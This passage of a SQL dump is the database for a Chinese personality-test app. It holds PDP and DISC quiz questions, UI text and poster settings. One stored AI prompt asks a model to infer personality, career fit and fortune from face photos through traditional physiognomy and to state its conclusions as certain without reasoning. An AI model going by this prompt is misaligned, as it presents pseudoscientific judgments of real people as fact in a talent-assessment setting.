{\"text\": \"避免冲突,维护和平\", \"value\": \"Koala\"}, {\"text\": \"分析原因,理性处理\", \"value\": \"Owl\"}, {\"text\": \"灵活应对,视情况而定\", \"value\": \"Chameleon\"}]', NULL, NULL, 4, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (95, 'pdp', '您的决策风格是:', '[{\"text\": \"果断迅速,行动导向\", \"value\": \"Tiger\"}, {\"text\": \"直觉判断,情感驱动\", \"value\": \"Peacock\"}, {\"text\": \"深思熟虑,追求共识\", \"value\": \"Koala\"}, {\"text\": \"数据分析,逻辑推理\", \"value\": \"Owl\"}, {\"text\": \"综合考虑,灵活决策\", \"value\": \"Chameleon\"}]', NULL, NULL, 5, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (96, 'pdp', '面对压力,您会:', '[{\"text\": \"更加强势,控制局面\", \"value\": \"Tiger\"}, {\"text\": \"寻求支持,表达情绪\", \"value\": \"Peacock\"}, {\"text\": \"保持冷静,稳定情绪\", \"value\": \"Koala\"}, {\"text\": \"更加谨慎,反复确认\", \"value\": \"Owl\"}, {\"text\": \"调整策略,灵活应对\", \"value\": \"Chameleon\"}]', NULL, NULL, 6, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (97, 'pdp', '您的领导风格是:', '[{\"text\": \"指挥型,明确方向\", \"value\": \"Tiger\"}, {\"text\": \"激励型,鼓舞士气\", \"value\": \"Peacock\"}, {\"text\": \"支持型,关怀团队\", \"value\": \"Koala\"}, {\"text\": \"专家型,以身作则\", \"value\": \"Owl\"}, {\"text\": \"教练型,因材施教\", \"value\": \"Chameleon\"}]', NULL, NULL, 7, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (98, 'pdp', '您处理细节的方式是:', '[{\"text\": \"关注大局,委托他人\", \"value\": \"Tiger\"}, {\"text\": \"可能忽略,更重整体\", \"value\": \"Peacock\"}, {\"text\": \"认真对待,确保准确\", \"value\": \"Koala\"}, {\"text\": \"极度重视,追求完美\", \"value\": \"Owl\"}, {\"text\": \"视情况决定关注程度\", \"value\": \"Chameleon\"}]', NULL, NULL, 8, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (99, 'pdp', '您的沟通方式是:', '[{\"text\": \"直接简短,注重结果\", \"value\": \"Tiger\"}, {\"text\": \"热情生动,富有感染力\", \"value\": \"Peacock\"}, {\"text\": \"温和耐心,善于倾听\", \"value\": \"Koala\"}, {\"text\": \"逻辑清晰,注重事实\", \"value\": \"Owl\"}, {\"text\": \"根据对象调整方式\", \"value\": \"Chameleon\"}]', NULL, NULL, 9, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (100, 'pdp', '您对变化的态度是:', '[{\"text\": \"主动推动,寻找机会\", \"value\": \"Tiger\"}, {\"text\": \"积极拥抱,乐观面对\", \"value\": \"Peacock\"}, {\"text\": \"需要适应时间\", \"value\": \"Koala\"}, {\"text\": \"谨慎评估,确保万全\", \"value\": \"Owl\"}, {\"text\": \"灵活适应,随机应变\", \"value\": \"Chameleon\"}]', NULL, NULL, 10, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (101, 'pdp', '您的时间管理风格是:', '[{\"text\": \"高效利用,追求速度\", \"value\": \"Tiger\"}, {\"text\": \"灵活安排,留有余地\", \"value\": \"Peacock\"}, {\"text\": \"按部就班,稳定执行\", \"value\": \"Koala\"}, {\"text\": \"精确规划,严格执行\", \"value\": \"Owl\"}, {\"text\": \"根据情况调整计划\", \"value\": \"Chameleon\"}]', NULL, NULL, 11, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (102, 'pdp', '您被什么激励:', '[{\"text\": \"成就和权力\", \"value\": \"Tiger\"}, {\"text\": \"认可和赞赏\", \"value\": \"Peacock\"}, {\"text\": \"安全和归属\", \"value\": \"Koala\"}, {\"text\": \"正确和标准\", \"value\": \"Owl\"}, {\"text\": \"多样性和平衡\", \"value\": \"Chameleon\"}]', NULL, NULL, 12, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (103, 'pdp', '您的学习方式是:', '[{\"text\": \"边做边学,实践第一\", \"value\": \"Tiger\"}, {\"text\": \"互动讨论,分享学习\", \"value\": \"Peacock\"}, {\"text\": \"循序渐进,反复练习\", \"value\": \"Koala\"}, {\"text\": \"深入研究,系统学习\", \"value\": \"Owl\"}, {\"text\": \"多种方式结合\", \"value\": \"Chameleon\"}]', NULL, NULL, 13, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (104, 'pdp', '您对规则的态度是:', '[{\"text\": \"规则是用来打破的\", \"value\": \"Tiger\"}, {\"text\": \"灵活运用,不拘一格\", \"value\": \"Peacock\"}, {\"text\": \"遵守规则,维护秩序\", \"value\": \"Koala\"}, {\"text\": \"严格遵守,确保合规\", \"value\": \"Owl\"}, {\"text\": \"视情况灵活处理\", \"value\": \"Chameleon\"}]', NULL, NULL, 14, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (105, 'pdp', '您在团队中的角色是:', '[{\"text\": \"领导者,推动进展\", \"value\": \"Tiger\"}, {\"text\": \"激励者,凝聚人心\", \"value\": \"Peacock\"}, {\"text\": \"协调者,维护和谐\", \"value\": \"Koala\"}, {\"text\": \"专家,提供专业意见\", \"value\": \"Owl\"}, {\"text\": \"多面手,灵活补位\", \"value\": \"Chameleon\"}]', NULL, NULL, 15, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (106, 'pdp', '您的工作节奏是:', '[{\"text\": \"快节奏,追求效率\", \"value\": \"Tiger\"}, {\"text\": \"充满活力,变化多端\", \"value\": \"Peacock\"}, {\"text\": \"稳定有序,按部就班\", \"value\": \"Koala\"}, {\"text\": \"有条理,精确执行\", \"value\": \"Owl\"}, {\"text\": \"根据需要调整节奏\", \"value\": \"Chameleon\"}]', NULL, NULL, 16, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (107, 'pdp', '您最大的优势是:', '[{\"text\": \"决断力和执行力\", \"value\": \"Tiger\"}, {\"text\": \"影响力和感染力\", \"value\": \"Peacock\"}, {\"text\": \"耐心和可靠性\", \"value\": \"Koala\"}, {\"text\": \"分析力和准确性\", \"value\": \"Owl\"}, {\"text\": \"适应力和灵活性\", \"value\": \"Chameleon\"}]', NULL, NULL, 17, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (108, 'pdp', '您的人际关系特点是:', '[{\"text\": \"目标导向,建立有价值的关系\", \"value\": \"Tiger\"}, {\"text\": \"广泛社交,朋友众多\", \"value\": \"Peacock\"}, {\"text\": \"深度交往,关系稳定\", \"value\": \"Koala\"}, {\"text\": \"选择性交往,志同道合\", \"value\": \"Owl\"}, {\"text\": \"根据情况建立不同类型关系\", \"value\": \"Chameleon\"}]', NULL, NULL, 18, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (109, 'pdp', '面对批评,您的反应是:', '[{\"text\": \"可能会反驳或辩护\", \"value\": \"Tiger\"}, {\"text\": \"可能会感到受伤\", \"value\": \"Peacock\"}, {\"text\": \"接受并思考改进\", \"value\": \"Koala\"}, {\"text\": \"分析批评的合理性\", \"value\": \"Owl\"}, {\"text\": \"根据情况调整反应\", \"value\": \"Chameleon\"}]', NULL, NULL, 19, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (110, 'pdp', '您的理想工作环境是:', '[{\"text\": \"充满挑战,自主权高\", \"value\": \"Tiger\"}, {\"text\": \"互动频繁,氛围活跃\", \"value\": \"Peacock\"}, {\"text\": \"稳定和谐,团队协作\", \"value\": \"Koala\"}, {\"text\": \"有序规范,专注质量\", \"value\": \"Owl\"}, {\"text\": \"灵活多变,兼顾平衡\", \"value\": \"Chameleon\"}]', NULL, NULL, 20, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (111, 'disc', '在团队中,您更倾向于:', '[{\"text\": \"主导决策,带领团队前进\", \"value\": \"D\"}, {\"text\": \"活跃气氛,激励团队成员\", \"value\": \"I\"}, {\"text\": \"支持他人,确保团队和谐\", \"value\": \"S\"}, {\"text\": \"分析数据,确保决策质量\", \"value\": \"C\"}]', NULL, NULL, 1, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (112, 'disc', '面对挑战时,您的第一反应是:', '[{\"text\": \"立即行动,解决问题\", \"value\": \"D\"}, {\"text\": \"寻找支持,团队协作\", \"value\": \"I\"}, {\"text\": \"冷静思考,稳步推进\", \"value\": \"S\"}, {\"text\": \"收集信息,谨慎分析\", \"value\": \"C\"}]', NULL, NULL, 2, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (113, 'disc', '您在工作中最看重的是:', '[{\"text\": \"成果和效率\", \"value\": \"D\"}, {\"text\": \"认可和赞赏\", \"value\": \"I\"}, {\"text\": \"稳定和安全\", \"value\": \"S\"}, {\"text\": \"准确和质量\", \"value\": \"C\"}]', NULL, NULL, 3, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (114, 'disc', '与他人沟通时,您通常:', '[{\"text\": \"直接了当,注重结果\", \"value\": \"D\"}, {\"text\": \"热情友好,善于表达\", \"value\": \"I\"}, {\"text\": \"耐心倾听,体贴理解\", \"value\": \"S\"}, {\"text\": \"逻辑清晰,注重细节\", \"value\": \"C\"}]', NULL, NULL, 4, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (115, 'disc', '压力之下,您会:', '[{\"text\": \"变得更加强势和控制\", \"value\": \"D\"}, {\"text\": \"寻求他人支持和鼓励\", \"value\": \"I\"}, {\"text\": \"保持冷静,按部就班\", \"value\": \"S\"}, {\"text\": \"更加谨慎,反复确认\", \"value\": \"C\"}]', NULL, NULL, 5, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (116, 'disc', '您认为自己的优势是:', '[{\"text\": \"决断力强,行动迅速\", \"value\": \"D\"}, {\"text\": \"人际关系好,善于激励\", \"value\": \"I\"}, {\"text\": \"可靠稳定,团队协作\", \"value\": \"S\"}, {\"text\": \"分析能力强,注重细节\", \"value\": \"C\"}]', NULL, NULL, 6, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (117, 'disc', '在会议中,您通常扮演的角色是:', '[{\"text\": \"主导者,推动决策\", \"value\": \"D\"}, {\"text\": \"激励者,调动气氛\", \"value\": \"I\"}, {\"text\": \"调和者,平衡各方\", \"value\": \"S\"}, {\"text\": \"分析者,提供数据\", \"value\": \"C\"}]', NULL, NULL, 7, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (118, 'disc', '您最不喜欢的工作环境是:', '[{\"text\": \"缺乏挑战,进展缓慢\", \"value\": \"D\"}, {\"text\": \"被孤立,缺乏互动\", \"value\": \"I\"}, {\"text\": \"变化太快,不稳定\", \"value\": \"S\"}, {\"text\": \"混乱无序,缺乏标准\", \"value\": \"C\"}]', NULL, NULL, 8, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (119, 'disc', '做决定时,您更依赖:', '[{\"text\": \"直觉和经验\", \"value\": \"D\"}, {\"text\": \"他人的意见\", \"value\": \"I\"}, {\"text\": \"过去的成功经验\", \"value\": \"S\"}, {\"text\": \"数据和事实\", \"value\": \"C\"}]', NULL, NULL, 9, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (120, 'disc', '您的工作风格是:', '[{\"text\": \"快速高效,注重结果\", \"value\": \"D\"}, {\"text\": \"灵活多变,充满创意\", \"value\": \"I\"}, {\"text\": \"稳定持续,一步一步\", \"value\": \"S\"}, {\"text\": \"严谨细致,追求完美\", \"value\": \"C\"}]', NULL, NULL, 10, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (121, 'disc', '遇到冲突时,您会:', '[{\"text\": \"直面冲突,解决问题\", \"value\": \"D\"}, {\"text\": \"调解双方,化解矛盾\", \"value\": \"I\"}, {\"text\": \"避免冲突,保持和谐\", \"value\": \"S\"}, {\"text\": \"分析原因,找出根本\", \"value\": \"C\"}]', NULL, NULL, 11, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (122, 'disc', '您期望的领导风格是:', '[{\"text\": \"给予挑战和自主权\", \"value\": \"D\"}, {\"text\": \"认可和表扬\", \"value\": \"I\"}, {\"text\": \"稳定和支持\", \"value\": \"S\"}, {\"text\": \"明确的指导和标准\", \"value\": \"C\"}]', NULL, NULL, 12, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (123, 'disc', '处理任务时,您更注重:', '[{\"text\": \"速度和效率\", \"value\": \"D\"}, {\"text\": \"创意和新颖\", \"value\": \"I\"}, {\"text\": \"过程和协作\", \"value\": \"S\"}, {\"text\": \"质量和准确\", \"value\": \"C\"}]', NULL, NULL, 13, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (124, 'disc', '您的社交方式是:', '[{\"text\": \"目的明确,建立有价值的关系\", \"value\": \"D\"}, {\"text\": \"广泛社交,认识各种人\", \"value\": \"I\"}, {\"text\": \"深度交往,维护长期友谊\", \"value\": \"S\"}, {\"text\": \"选择性社交,志同道合\", \"value\": \"C\"}]', NULL, NULL, 14, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (125, 'disc', '您理想的工作节奏是:', '[{\"text\": \"快节奏,充满挑战\", \"value\": \"D\"}, {\"text\": \"灵活多变,充满活力\", \"value\": \"I\"}, {\"text\": \"稳定有序,可预测的\", \"value\": \"S\"}, {\"text\": \"有条理,按计划进行\", \"value\": \"C\"}]', NULL, NULL, 15, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (126, 'disc', '面对变化,您的态度是:', '[{\"text\": \"主动拥抱,寻找机会\", \"value\": \"D\"}, {\"text\": \"积极适应,乐观面对\", \"value\": \"I\"}, {\"text\": \"需要时间,逐步适应\", \"value\": \"S\"}, {\"text\": \"谨慎评估,确保万无一失\", \"value\": \"C\"}]', NULL, NULL, 16, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (127, 'disc', '您的时间管理风格是:', '[{\"text\": \"高效利用,最大化产出\", \"value\": \"D\"}, {\"text\": \"灵活安排,留有余地\", \"value\": \"I\"}, {\"text\": \"按部就班,稳定执行\", \"value\": \"S\"}, {\"text\": \"精确规划,严格执行\", \"value\": \"C\"}]', NULL, NULL, 17, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (128, 'disc', '激励您的是:', '[{\"text\": \"成就和控制\", \"value\": \"D\"}, {\"text\": \"认可和社交\", \"value\": \"I\"}, {\"text\": \"稳定和归属\", \"value\": \"S\"}, {\"text\": \"正确和标准\", \"value\": \"C\"}]', NULL, NULL, 18, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (129, 'disc', '您处理细节的方式是:', '[{\"text\": \"关注大局,委托他人\", \"value\": \"D\"}, {\"text\": \"可能忽略,更关注整体\", \"value\": \"I\"}, {\"text\": \"认真对待,确保准确\", \"value\": \"S\"}, {\"text\": \"极度重视,追求完美\", \"value\": \"C\"}]', NULL, NULL, 19, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (130, 'disc', '您对规则的态度是:', '[{\"text\": \"规则是用来打破的\", \"value\": \"D\"}, {\"text\": \"灵活运用,不拘泥于规则\", \"value\": \"I\"}, {\"text\": \"遵守规则,维护秩序\", \"value\": \"S\"}, {\"text\": \"严格遵守,确保合规\", \"value\": \"C\"}]', NULL, NULL, 20, 1, NULL, 1770881509, 1770881509); + +-- ---------------------------- +-- Table structure for mbti_system_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_config`; +CREATE TABLE `mbti_system_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `enterprise_id` int(11) NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版', + `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '配置说明', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_key_eid`(`key`, `enterprise_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_system_config +-- ---------------------------- +INSERT INTO `mbti_system_config` VALUES (1, 'system', 0, '{\"siteName\":\"神仙团队性格测试\",\"siteDescription\":\"神仙团队性格测试\",\"miniprogramName\":\"神仙团队性格测试\",\"maintenanceMode\":false,\"maxTestsPerDay\":100,\"trialTestCount\":10}', '系统基础配置', 1770883998, 1772761008); +INSERT INTO `mbti_system_config` VALUES (2, 'notification', 0, '{\"emailNotification\":false,\"lowBalanceAlert\":false,\"lowBalanceThreshold\":1000,\"newEnterpriseNotify\":false}', '通知与告警配置', 1770883998, 1770884109); +INSERT INTO `mbti_system_config` VALUES (3, 'site_info', 0, '{\"siteName\":\"神仙团队性格测试\",\"siteDescription\":\"神仙团队性格测试\",\"miniprogramName\":\"神仙团队性格测试\",\"updatedAt\":1772761008}', '站点信息配置', 1770884090, 1772761008); +INSERT INTO `mbti_system_config` VALUES (4, 'prompts', 0, '{\"faceAnalyze\":\"人才测评综合分析表(基于正面 \\/ 左侧 45°\\/ 右侧 45° 面部照片)\\n分析前提:将照片人物视为模拟对象,基于传统相术(《冰鉴》九贵骨、《周易》三停五行、《燕翼子・相人》《骈拇子・卜相》)与现代理论(MBTI、PDP、DISC),结合面部骨相细节做差异化推演;结论明确肯定,不展示推理过程。\\n一、面相特征与性格特质关联(按部位)\\n额头:[填写形状 + 日角月角气势]。其智力超群、谋略深远,早年运势顺遂,擅长抽象学习与系统思考。\\n眼睛:[填写大小 + 神采 + 稳定度]。其思维聚焦精准,情绪管理能力强,人际风格理性且有边界感。\\n鼻子:[填写山根 + 鼻梁 + 鼻翼]。其责任感极强,事业心旺盛,金钱观务实,现实问题处理能力突出。\\n嘴巴:[填写唇形 + 厚薄 + 收放]。其表达直接有力,信守承诺,行动力迅猛,执行节奏紧凑高效。\\n下巴:[填写宽窄 + 方圆 + 厚薄]。其抗压能力卓越,承载力强,晚年运势安稳,能长期坚守目标。\\n耳朵:[填写大小 + 位置 + 贴头]。其感受能力敏锐,学习速度快,对环境变化的敏感度高,适配力强。\\n二、骨相分析(含九贵骨与人生阶段)\\n(一)骨形总评\\n五行形相:[填写金 \\/ 木 \\/ 水 \\/ 火 \\/ 土] 形,对应 [填写核心气质,如金形刚健、木形疏朗] 气质。\\n骨肉关系:[填写停匀 \\/ 骨重肉薄 \\/ 肉多掩骨],决断度 [填写高 \\/ 中 \\/ 低],现实感 [填写强 \\/ 中 \\/ 弱],抗压方式为 [填写理性攻坚 \\/ 柔性缓冲 \\/ 稳健持久]。\\n(二)九贵骨核心结论\\n颧骨与驿马骨:权力欲 [填写强 \\/ 中 \\/ 弱],掌控力 [填写强 \\/ 中 \\/ 弱],倾向 [填写开拓 \\/ 守成]。\\n将军骨与肩背:统帅力 [填写强 \\/ 中 \\/ 弱],属于 [填写冲锋型 \\/ 统筹型] 人才。\\n日月角与龙宫骨:智谋 [填写卓越 \\/ 出众 \\/ 普通],机会嗅觉 [填写敏锐 \\/ 一般],意志力坚定,耐力 [填写持久 \\/ 较强]。\\n伏犀骨与龙角骨:主见坚定度 [填写极高 \\/ 高 \\/ 中],上升冲劲 [填写强劲 \\/ 稳健 \\/ 平缓]。\\n(三)人生阶段发力重点\\n上停(额区):早年运势顺畅,发力重点为学业积累、行业入门与贵人链接。\\n中停(颧鼻):壮年运势鼎盛,发力重点为事业拓展、团队管理与资源整合。\\n下停(下颌):晚年运势安稳,发力重点为经验传承、成果固化与稳健守成。\\n(四)骨相总评建议\\n格局:[填写高 \\/ 中高 \\/ 中],具备 [填写核心格局优势,如统筹全局 \\/ 专业深耕] 潜质。\\n事业路径:优先走 [填写核心路径,如管理晋升 \\/ 专业领军 \\/ 创业开拓] 路线。\\n修性养骨建议:1. [填写具体建议,如每日静坐养神,稳固意志力];2. [填写具体建议,如规律运动强骨,提升行动力]。\\n三、现代性格模型综合判断\\n(一)MBTI 性格类型(精准匹配)\\n类型代码 \\/ 名称:[填写如 INTJ \\/ 建筑师、ESFP \\/ 表演者]\\n思维方式:[填写 2 句话,如 INTJ 擅长逻辑推演与长远规划,聚焦核心目标忽略冗余信息]。\\n决策风格:[填写 1 句话,如以理性分析为核心,优先考量目标达成与效率最优]。\\n(二)PDP 行为偏好\\n主性格:[填写老虎 \\/ 孔雀 \\/ 考拉 \\/ 猫头鹰 \\/ 变色龙]\\n辅助性格:[填写上述其一]\\n核心表现:[填写 1 句话,如老虎主性格者目标导向,变色龙辅助性格者适配环境变化]。\\n(三)DISC 沟通风格\\n主类型:[填写 D 支配型 \\/ I 影响型 \\/ S 稳健型 \\/ C 谨慎型]\\n辅助类型:[填写上述其一]\\n沟通特点:[填写 1 句话,如 D 型主风格直接果断,C 型辅助风格注重细节与逻辑]。\\n(四)核心优势(3-5 个)\\n[填写如战略规划、团队管控、细节把控、人际赋能、危机应对]\\n(五)性格概述(3-5 句话)\\n[整合传统相术与现代模型,填写核心气质,如 “核心气质为刚健稳健,兼具开拓性与守成性”]。[填写做事风格与决策模式,如 “做事雷厉风行且注重细节,决策以理性分析为基础,兼顾长远价值与现实落地”]。[填写人际影响方式,如 “人际中自带威信,既能引领团队攻坚,也能精准协调资源”]。[填写适合的工作环境与发展路径,如 “适配高目标、高挑战的工作环境,发展路径以管理晋升或专业领军为核心,中年后可尝试创业或行业赋能”]。\\n四、职业倾向与优势领域建议(4-6 条)\\n[填写职业方向,如高端管理岗]:匹配点为 [填写面相 \\/ 骨相 \\/ 性格依据,如颧骨与将军骨彰显统帅力,MBTI-J 型擅长统筹决策]。\\n[填写职业方向,如战略规划师]:匹配点为 [填写依据,如额头饱满、伏犀骨凸显,具备极强的谋略与长远眼光]。\\n[填写职业方向,如行业专家]:匹配点为 [填写依据,如猫头鹰性格特质突出,眼神专注,细节把控能力卓越]。\\n[填写职业方向,如团队负责人]:匹配点为 [填写依据,如 D 型沟通风格强势,权力欲与掌控力适配团队管理]。\\n[填写职业方向,如创业项目掌舵人]:匹配点为 [填写依据,如开拓型骨相特质,老虎主性格具备目标导向与攻坚能力]。\\n[填写职业方向,如资源整合顾问]:匹配点为 [填写依据,如变色龙辅助性格,人际适配力强,机会嗅觉敏锐]。\\n五、人际关系与团队协作风格\\n(一)人际风格\\n[填写直接 \\/ 含蓄、理性 \\/ 感性、距离感,如 “直接理性,人际中有适度距离感,注重高效沟通”]。\\n(二)团队角色\\n[填写决策者 \\/ 谋划者 \\/ 执行者 \\/ 协调者,可多选,如 “核心决策者 + 首席谋划者”]。\\n(三)提升建议\\n情绪表达:[填写具体建议,如 “高压场景下放缓语速,加入适度情感共鸣,提升团队凝聚力”]。\\n倾听能力:[填写具体建议,如 “沟通中预留 30% 时间倾听他人观点,兼顾细节与不同视角”]。\\n冲突处理:[填写具体建议,如 “理性化解冲突,以目标为核心协调分歧,避免强势决策引发抵触”]。\\n六、潜能发挥(3-4 个)\\n[填写潜能,如战略落地潜能]:发挥方式为 [填写具体行动,如 “结合自身谋略优势,制定分阶段执行计划,依托团队管控力推动落地”]。\\n[填写潜能,如危机应对潜能]:发挥方式为 [填写具体行动,如 “利用敏锐的环境感知力,提前预判风险,以稳健抗压能力制定备选方案”]。\\n[填写潜能,如人才培养潜能]:发挥方式为 [填写具体行动,如 “依托自身经验与统帅力,搭建人才梯队,通过传帮带实现团队赋能”]。\\n[填写潜能,如创新突破潜能]:发挥方式为 [填写具体行动,如 “结合开拓型骨相特质,打破固有思维,在核心领域尝试跨界创新”]。\",\"reportSummary\":\"请你根据我提供的简历信息(生日、工作经历)以及MBTI、PDP、DISC 三项性格测评结果,进行交叉验证、综合分析,不要只照搬测评标签,而是提炼出这个人的真实性格、行为模式、优势、短板、沟通风格、职业特质。\\n要求:\\n1、结合生日分析性格底色与潜在特质。\\n2、结合工作经历判断真实行为风格、抗压能力、做事习惯、人际模式。\\n3、结合 MBTI、PDP、DISC 三项测评互相印证,去伪存真,得出真实性格画像。\\n4、输出结构清晰:\\n核心性格关键词\\n真实性格深度分析\\n行为与沟通风格\\n优势亮点\\n可提升方向\\n语言专业、客观、精炼,不空洞、不玄学。\\n请根据我接下来提供的信息开始分析。\"}', '系统提示词配置(如面相分析、报告摘要等)', 1771915950, 1772766406); +INSERT INTO `mbti_system_config` VALUES (5, 'text_config', 0, '{\"analyzingTitle\":\"正在分析中\",\"startButtonText\":\"开始面相测试\",\"startButtonEnterprise\":\"开始面部测试\",\"reportTitle\":\"分析报告\",\"aiAnalysisText\":\"智能分析\"}', '小程序文案配置', 1772608708, 1772761008); +INSERT INTO `mbti_system_config` VALUES (6, 'poster_config', 0, '{\"bgColor\":\"#ffffff\",\"bgImage\":\"\",\"elements\":[{\"id\":\"el_1772613206999_1\",\"type\":\"image\",\"x\":2,\"y\":0,\"w\":373,\"h\":667,\"shape\":\"square\",\"url\":\"https:\\/\\/karuosiyujzk.oss-cn-shenzhen.aliyuncs.com\\/mbti\\/20260304\\/img_69a7f4bb529f73.42463703.png\",\"align\":\"left\"},{\"id\":\"el_1772613291672_2\",\"type\":\"nickname\",\"x\":154,\"y\":450,\"w\":131,\"h\":30,\"fontSize\":20,\"color\":\"rgb(255, 23, 23)\",\"bold\":false,\"fontFamily\":\"noto-sans\",\"align\":\"left\"},{\"id\":\"el_1772613311472_3\",\"type\":\"avatar\",\"x\":128,\"y\":452,\"w\":25,\"h\":25,\"shape\":\"circle\",\"align\":\"left\"},{\"id\":\"el_1772613325744_4\",\"type\":\"qrcode\",\"x\":134,\"y\":487,\"w\":110,\"h\":110,\"align\":\"left\"},{\"id\":\"el_1772615481311_1\",\"type\":\"mbti\",\"x\":35,\"y\":169,\"w\":80,\"h\":32,\"content\":\"INTJ\",\"fontSize\":16,\"color\":\"#6366f1\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772616100719_2\",\"type\":\"pdp\",\"x\":154,\"y\":174,\"w\":80,\"h\":32,\"content\":\"猫头鹰\",\"fontSize\":16,\"color\":\"#10b981\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772616105006_3\",\"type\":\"disc\",\"x\":271,\"y\":174,\"w\":80,\"h\":32,\"content\":\"C型\",\"fontSize\":16,\"color\":\"#f43f5e\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772674833835_1\",\"type\":\"text\",\"x\":22,\"y\":202,\"w\":102,\"h\":27,\"content\":\"mbti\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772678555032_1\",\"type\":\"text\",\"x\":141,\"y\":208,\"w\":100,\"h\":20,\"content\":\"PDP\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772678605176_2\",\"type\":\"text\",\"x\":260,\"y\":206,\"w\":99,\"h\":30,\"content\":\"DISC\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"}]}', '分销海报可视化配置', 1772613345, 1772680067); +INSERT INTO `mbti_system_config` VALUES (7, 'poster_config', 5, '{\"bgColor\":\"#ffffff\",\"bgImage\":\"https:\\/\\/karuosiyujzk.oss-cn-shenzhen.aliyuncs.com\\/mbti\\/20260305\\/img_69a93009e76ba4.00229379.png\",\"elements\":[{\"id\":\"el_1772695569798_1\",\"type\":\"nickname\",\"x\":113,\"y\":359,\"w\":150,\"h\":36,\"fontSize\":16,\"color\":\"rgb(255, 0, 0)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772695592453_2\",\"type\":\"avatar\",\"x\":54,\"y\":333,\"w\":80,\"h\":80,\"shape\":\"circle\"},{\"id\":\"el_1772695597637_3\",\"type\":\"qrcode\",\"x\":127,\"y\":490,\"w\":120,\"h\":120},{\"id\":\"el_1772695600813_4\",\"type\":\"mbti\",\"x\":13,\"y\":153,\"w\":80,\"h\":32,\"content\":\"INTJ\",\"fontSize\":16,\"color\":\"#6366f1\",\"bold\":true,\"align\":\"center\"},{\"id\":\"el_1772695603591_5\",\"type\":\"pdp\",\"x\":19,\"y\":196,\"w\":80,\"h\":32,\"content\":\"猫头鹰\",\"fontSize\":16,\"color\":\"#10b981\",\"bold\":true,\"align\":\"center\"},{\"id\":\"el_1772695607589_6\",\"type\":\"disc\",\"x\":18,\"y\":233,\"w\":80,\"h\":32,\"content\":\"C型\",\"fontSize\":16,\"color\":\"#f43f5e\",\"bold\":true,\"align\":\"center\"}]}', '分销海报可视化配置(企业)', 1772695611, 1772695611); +INSERT INTO `mbti_system_config` VALUES (8, 'distribution', 5, 